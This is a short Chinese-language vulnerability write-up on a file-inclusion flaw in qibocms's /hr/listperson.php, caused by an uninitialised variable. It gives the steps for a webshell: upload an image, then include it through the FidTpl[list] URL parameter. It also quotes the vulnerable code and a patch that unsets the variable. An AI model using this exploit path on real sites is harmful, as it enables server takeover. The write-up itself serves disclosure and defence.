qibocms /hr/listperson.php File Arbitrarily Include Vul Via Variable Uninitialization & Getshell

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 找到前台文件上传点
http://localhost/qibo/hy/choose_pic.php

2. 上传后直接包含文件
http://localhost/qibo/hr/listperson.php?FidTpl[list]=../upload_files/homepage/pic/0/xxxx/xxx.jpg

3. Getshell

//获取标签内容
//注意这里的$FidTpl 这里并没有初始化 导致黑客可以通过qibo的"模拟GPC注册机制"覆盖这个变量的值
$template_file=getTpl("list_$fidDB[mid]",$FidTpl[‘list‘]);
fetch_label_value(array(‘pagetype‘=>‘4‘,‘file‘=>$template_file,‘module‘=>$webdb[‘module_id‘]));
..
//包含文件
require($template_file);

function getTpl($html, $tplpath = ‘‘)
{ 
    global $STYLE;

    //$tplpath是我们外部传入的，黑客可以通过变量覆盖控制
    if($tplpath && file_exists($tplpath))
    { 
        //如果文件存在，那么就直接return 
        return $tplpath;
    }
    elseif($tplpath && file_exists(Mpath.$tplpath))
    { 
        return Mpath.$tplpath; 
    }
    elseif(file_exists(Mpath . "template/$STYLE/$html.htm"))
    { 
        return Mpath."template/$STYLE/$html.htm"; 
    }
    else
    { 
        return Mpath."template/default/$html.htm"; 
    } 
}

http://www.wooyun.org/bugs/wooyun-2014-081470

/* */
if (!empty($FidTpl[‘list‘])) 
{
    unset($FidTpl[‘list‘]);
} 
/**/
$template_file=getTpl("list_$fidDB[mid]",$FidTpl[‘list‘]);
fetch_label_value(array(‘pagetype‘=>‘4‘,‘file‘=>$template_file,‘module‘=>$webdb[‘module_id‘]));